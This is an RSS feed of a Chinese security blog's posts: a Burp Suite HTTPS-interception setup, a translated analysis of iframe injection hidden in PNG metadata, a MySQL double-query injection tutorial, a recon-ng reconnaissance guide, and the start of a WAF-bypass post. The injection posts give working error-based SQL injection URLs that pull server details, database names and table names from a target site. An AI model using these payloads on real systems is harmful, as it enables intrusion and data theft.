<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>安全 on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/tags/%E5%AE%89%E5%85%A8/</link>
    <description>Recent content in 安全 on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sun, 29 Jun 2014 06:43:48 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/tags/%E5%AE%89%E5%85%A8/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>burpsuite抓包https</title>
      <link>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</link>
      <pubDate>Sun, 29 Jun 2014 06:43:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/06/29/burpsuite%E6%8A%93%E5%8C%85https/</guid>
      <description>&lt;p&gt;最近工作需要，需要burpsuite抓下https的包&lt;/p&gt;
&lt;p&gt;burpsuite抓包https的时候，如果是https协议，火狐会不信任证书&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/untrust.jpg&#34;&gt;&lt;img alt=&#34;untrust&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/14c5d2aedaa02e325fe21c03758796234ed83576.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个时候点击我已充分了解可能的风险，然后添加例外，弹出图中的对话框&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/step.jpg&#34;&gt;&lt;img alt=&#34;step&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4adf7f8902f07ea98a728a2d71270906208bfea6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击查看，进入证书管理企业免，选择图中的PortSwigger CA根证书，选择导出，保存一下这个证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/export.jpg&#34;&gt;&lt;img alt=&#34;export&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6e81972ac7283935e22a260f92ab4a582780eb73.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后打开火狐的选项，进入高级-&amp;gt;证书-&amp;gt;查看证书-&amp;gt;证书机构-&amp;gt;导入，选择刚才的证书&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/import.jpg&#34;&gt;&lt;img alt=&#34;import&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3e43de2ca0a2c88519035a3d39a60fb8757c4da9.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;，最后，记住选中信任此CA证书标识的网站，ok&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/finish.jpg&#34;&gt;&lt;img alt=&#34;finish&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/070d8695abea24e9e8bf11e162f12afccaa5385f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在再抓包，可以看到https也抓到了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/06/capture.jpg&#34;&gt;&lt;img alt=&#34;capture&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cf1f9324b8934ba12cab8ea0a19a530897e206e3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]隐藏在PNG图像元数据中的新iFrame注入攻击</title>
      <link>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</link>
      <pubDate>Sun, 09 Feb 2014 09:23:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</guid>
      <description>&lt;p&gt;这个攻击方式很旧了，但手法相当不错，来自&lt;a href=&#34;http://www.lembed.com/new-iframe-injections-leverage-png-image-metadata/&#34;&gt;乐嵌网&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们一直在努力保持领先的最新趋势，今天我们发现了一个非常有趣的事，这或者是我们之前没有发现，或者是刚发生的。 我们只能说这是新发现的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们都了解的iFrame注入攻击，对吧？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;了解一个iFrame注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;今天的iFrame 是非常标准的HTML标记，它是在自己网页中嵌入其他网站内容的简单方式。 被几乎所有的浏览器支持和百万计的网站使用，使用AdSense吗？ 那么你的网站中就有一个iFrame。&lt;/p&gt;
&lt;p&gt;我知道这东西很好，然而总是福祸相惜。&lt;/p&gt;
&lt;p&gt;今天的攻击，特别是当我们谈论路过式下载，首选是利用IFRAME标记。 它简单方便，只需简单的属性修改，攻击者可以稳妥的从另一个站点嵌入代码，并通过客户的浏览器不知不觉的加载。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;像这样：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/iframe-sample.png&#34;&gt;&lt;img alt=&#34;iframe-sample&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3da10af5e9e3a897cf39927ee28a0106f297880a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;攻击者通常从其他网站嵌入的恶意文件，通常是一个PHP文件或类似的形式。 当然，这并不是唯一的方法，但是是最普遍的。 从检测和修复的角度来看，这往往很容易修复。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;新的iFrame注入法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然而今天，我们发现一个有趣的iFrame注入类型。&lt;/p&gt;
&lt;p&gt;它的特殊之处不是在iframe标签中嵌入的内容，而是它分发恶意软件的方式。 你会看到，攻击者将威胁隐藏在PNG文件中。&lt;/p&gt;
&lt;p&gt;我几乎可以听到很多你的窃笑，PFF .. 这不是新的…. 但问题是在细节上我的朋友。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如下，iFrame加载了一个有效的文件，没有什么恶意，一个叫jquery.js的JavaScript文件。这一切看上去都很好。你要细细的找：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/blog_injection1-494x650.png&#34;&gt;&lt;img alt=&#34;blog_injection1-494x650&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7f64ba23d5fd4d5763ff921134e11beede62faeb.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;起初，很多人会说我们傻。 这些代码很好，没看见什么问题，对不对？ 然后，我们注意到了这个小函数，loadFile（）。 函数本身并不奇怪，但事实上，它是装载一个PNG-&lt;strong&gt;var strFile = ‘./dron.png&lt;/strong&gt;。 你会被它惊讶良久，它才是一个真正的黑手。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;自然，下一步就是好奇的打开dron.png文件。 会有什么可怕的事情发生吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;噢，什么都没有，太无聊了，这纯粹是浪费时间。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-iframe-png.png&#34;&gt;&lt;img alt=&#34;Sucuri-iframe-png&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0d8a2bcd6d6e5a6ac87f8858fe8f0a81878d6bbc.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是，请等一下，我发现这里有个有趣的小循环。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-PNG-Decoding-Loop.png&#34;&gt;&lt;img alt=&#34;Sucuri-PNG-Decoding-Loop&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c17a78234586bebb89f023d8023b6b69d9f574b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;嗯，这是确实挺奇怪的，这是一个解码循环。 为什么要一个循环的解码PNG文件呢？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;作为一个优秀的研究人员，采取最简单的方式，我可以将它加载到简单的测试页上 并提取图像内容。搞定！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;测试页上加载它之后这，我们获得了strData变量：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/sucuri-png-iframe-payload.png&#34;&gt;&lt;img alt=&#34;sucuri-png-iframe-payload&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4a1a1266a40ff50c6d0328eea9c9e849e043ae05.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看到它在干嘛了吗？&lt;/p&gt;
&lt;p&gt;它做了个iFrame注入，并把它嵌入到PNG的元数据中，像一个新的分配机制。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;有两点需要特别注意了，它使用&lt;strong&gt;createElement&lt;/strong&gt;做了一个&lt;strong&gt;iFrame&lt;/strong&gt;标签**，&lt;strong&gt;然后设置&lt;/strong&gt;elm.style.position.left 和 elm.style.position.top **属性的值为-1000px，把iframe放到可视区域之外。这些值都是负值，在浏览器中根本看不到。但是你知道谁能看到吗？只有浏览器和Google能看到。这就是下载驱动和搜索引擎感染（SEP)攻击的小伎俩。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后我们在&lt;strong&gt;elm.src&lt;/strong&gt;元素中发现了真正的威胁**。**&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;做的这么独特到底有什么用呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它尽力隐藏真正的威胁的水平是独特的。现在的杀毒软件不会解码图像元数据，直到JavaScript文件加载完毕就停止扫描。不会追踪cookie文件，对于攻击者来说，这太好了，使它们很难被发现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;记住一点，尽管我们这里谈论的是PNG文件，这些方法和概念也可以应用到其他类型图像中。重要的一点是：留意你的web 服务状态，了解哪些修改和未修改的文件并确保漏洞未被利用。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;通常情况下，一些新的侦查和排障需要一定的时间。 现在我们的 网站恶意软件扫描器能发现它吗 ？ 绝对可以！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;不要笑了，朋友们！&lt;/p&gt;
&lt;p&gt;原文：&lt;a href=&#34;http://blog.sucuri.net/2014/02/new-iframe-injections-leverage-png-image-metadata.html&#34;&gt;new-iframe-injections-leverage-png-image-metadata&lt;/a&gt; by Peter Gramantik&lt;/p&gt;</description>
    </item>
    <item>
      <title>详细讲解双查询注入</title>
      <link>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Sun, 03 Mar 2013 07:53:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;上一篇文章中，&lt;a href=&#34;http://leaver.me/archives/2726.html&#34;&gt;http://leaver.me/archives/2726.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。&lt;/p&gt;
&lt;p&gt;在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。&lt;/p&gt;
&lt;p&gt;看一个简单的例子：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select concat((select database()));&lt;/pre&gt; 
&lt;p&gt;真正执行的时候，先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;双注入查询需要理解四个函数/语句
1. Rand()  //随机函数
2. Floor()  //取整函数
3. Count()  //汇总函数
4. Group by clause //分组语句&lt;/p&gt;
&lt;p&gt;简单的一句话原理就是有研究人员发现，当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。&lt;/p&gt;
&lt;p&gt;以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;mysql -u root –p toor&lt;/pre&gt; 
&lt;p&gt;就会连接上数据库了。
然后通过use security； 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33517_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/522ac49ec64d3b7735b3dc208564de22477e4aba.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后我们执行一下前面那个简单的子查询的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat((select database()));&lt;/pre&gt; 
&lt;p&gt;就能显示security，也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat(&#39;string1&#39;,&#39;string2&#39;);&lt;/pre&gt; 
&lt;p&gt;显然结果就是string1string2了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33518_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a8be70e4ddb999500369b44191c7c188b4ecf651.png&#34;&gt;&lt;/a&gt;
然后我们测试一下rand()这个随机函数是干嘛的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select rand();&lt;/pre&gt; 
&lt;p&gt;我们多执行几次
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33519_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab02015d63c2fc6d0af98492ae791d58a7665000.png&#34;&gt;&lt;/a&gt;
可以看到，这个函数就是返回大于0，小于1之间的数
然后看看取整函数&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select floor(1.1123456);&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33520_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4477acaba79cf1464c028cab96e32534d81af2e5.png&#34;&gt;&lt;/a&gt;
这个函数就是返回小于等于你输入的数的整数。&lt;/p&gt;
&lt;p&gt;然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT floor(rand()*2);&lt;/pre&gt; 
&lt;p&gt;我们从里向外看。rand() 返回大于0小于1的小数，乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1，就是0
我们稍微加大一点难度。看这个查询&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));&lt;/pre&gt; 
&lt;p&gt;不要怕。先看最里面的SELECT database() 这个就返回数据库名，这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0，就是1.然后把这两个的结果进行concat连接，那么结果不是security0就是security1了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33521_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f29b4115541e053c2e100bc7a35cdd51aaa9c2e5.png&#34;&gt;&lt;/a&gt;
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录，这里users表里有13个用户，所以返回了13条
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33522_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d272e51a8be57b8739ab1c63516af31cd795f6ab.png&#34;&gt;&lt;/a&gt;
如果是从information_schema.schemata里，这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33523_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c67270890234e1d851d71c02e44e7511cedcdbd.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值，不至于全部是security0，这样就不能查询出结果了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。就剩下两个结果了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33524_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c9ad11cc6de49646801b61d3143e1fa9c5d0b0af.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意。这里的database()可以替换成任何你想查的函数，比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。&lt;/p&gt;
&lt;p&gt;最后的亮点来了。。
我们输入这条：注意多了一个聚合函数count(*)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33525_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ERROR 1062 (23000): Duplicate entry &#39;security1&#39; for key ‘group_key’&lt;/pre&gt; 
&lt;p&gt;重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样：&lt;/p&gt;</description>
    </item>
    <item>
      <title>双查询注入</title>
      <link>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 22 Feb 2013 20:57:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;作者：bystander
论坛：法客论坛
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识&lt;/p&gt;
&lt;p&gt;介绍一下双查询注入，有时候我们通过order by 语句获取到了确定的列数，可是当我们使用union select或union select all查询的时候，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--&lt;/pre&gt; 
&lt;p&gt;却会出现一个错误提示，列数不一致。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Different Number of Columns&lt;/pre&gt; 
&lt;p&gt;而我们使用下面的语句：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;执行之后就会显示mysql版本，用户名，服务器名, 以及数据目录…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取数据库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;许多人会在上面的语句里使用:database()方法来获取数据库，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ，这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个：
在普通的SQL注入中，使用如下的语句&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--&lt;/pre&gt; 
&lt;p&gt;会一次爆出所有的数据库
而使用下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--&lt;/pre&gt; 
&lt;p&gt;只会显示当前站点使用的数据库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取表名&lt;/strong&gt;
回正题，我们继续使用双查询来获取数据库的表:&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的，这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。&lt;/p&gt;</description>
    </item>
    <item>
      <title>recon-ng开源信息探测框架</title>
      <link>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</link>
      <pubDate>Sat, 02 Feb 2013 06:52:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;
微博：&lt;a href=&#34;http://t.qq.com/lazystander&#34;&gt;http://t.qq.com/lazystander&lt;/a&gt;
论坛：法客论坛&lt;/p&gt;
&lt;p&gt;首发。转载什么的请注明出处。起码给我留个链接啥的嘛。&lt;/p&gt;
&lt;p&gt;首先介绍一下。这个工具是国外刚刚发布的。主要用来渗透前的信息探测。使用类似Metasploit
主要有
Auxiliary：
这个模块查询主机信息泄漏页。进行hash反查，模糊名称精确，检查某个email是否密码泄漏，域名解析ip等
Contacts：
这个模块探测和某一公司有关的人员的信息，主要包括 LinkedIn 和Jigsaw 这两个模块。得到的信息可以被Auxiliary模块使用，如果和Social Engineer Toolkit(社会工程学工具集，这个工具已经发布了。是开源的。大家可以看看)，一起。效果强大。&lt;/p&gt;
&lt;p&gt;Hosts：
这个用来获取站点子域名。。包括使用baidu。Google bing等。。效果相当强大。
Output：
这个模块用来创建输出报表
Pwnedlist：
这个模块不是得shell的。他可通过 Pwnedlist.com 提供的api，如果这个网站被入侵过。那么可以直接获得其他黑客泄漏的帐号密码。。（需要去 Pwnedlist.com 注册）&lt;/p&gt;
&lt;p&gt;安装方法：
bt下直接&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git&lt;/pre&gt;
&lt;p&gt;然后有可能提示输入密码，好象是随便输一个用来保护版本控制。。我输的是toor。。
然后就安装好了。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;cd recon-ng&lt;/pre&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;./recon-ng.py&lt;/pre&gt;
&lt;p&gt;首先查看有哪些模块。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;modules&lt;/pre&gt;
&lt;p&gt;图一&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32339_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/88f2dd5c24ad567a09c5b6162cd60d70b3fb781d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我以获取子域名为例，通过我前面的介绍你已经知道了hosts模块里的所有模块基本都是干这事的。我用里面的baidu模块来说明。你也可以使用bing等，，&lt;/p&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;load hosts::baidu&lt;/pre&gt;
&lt;p&gt;图二&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32340_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f818e08de804ba8875667692fbdd580ad8114667.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始你可能不清楚这个模块的说明。那么继续输入info即可查看模块的详细说明
要开始使用。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;options&lt;/pre&gt;
&lt;p&gt;和Metasploit很像把。可以查看要使用需要的配置。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32341_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7848e773ab3e4e3ad03f59ba7b5ac6704d333ce6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看表，会发现有三行。第一行是标题，第二行是域名设置，第三行是输出。这个current value也就是当前值已经为true。所以不用设置。req的意思是是否必须设置。我们输入
baidu.com就是你的目标了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;set domain baidu.com&lt;/pre&gt;
&lt;p&gt;就会从百度的结果里提取百度的子域名信息了。要开始。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;run&lt;/pre&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32342_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/125a841869478ff39dd63113e2e9427c3ae1cf81.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更多希望大家发掘吧。我抛砖。求引玉。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL注入中的WAF绕过技术</title>
      <link>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</link>
      <pubDate>Sun, 06 Jan 2013 13:15:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt;
论坛：法克论坛&lt;/p&gt;
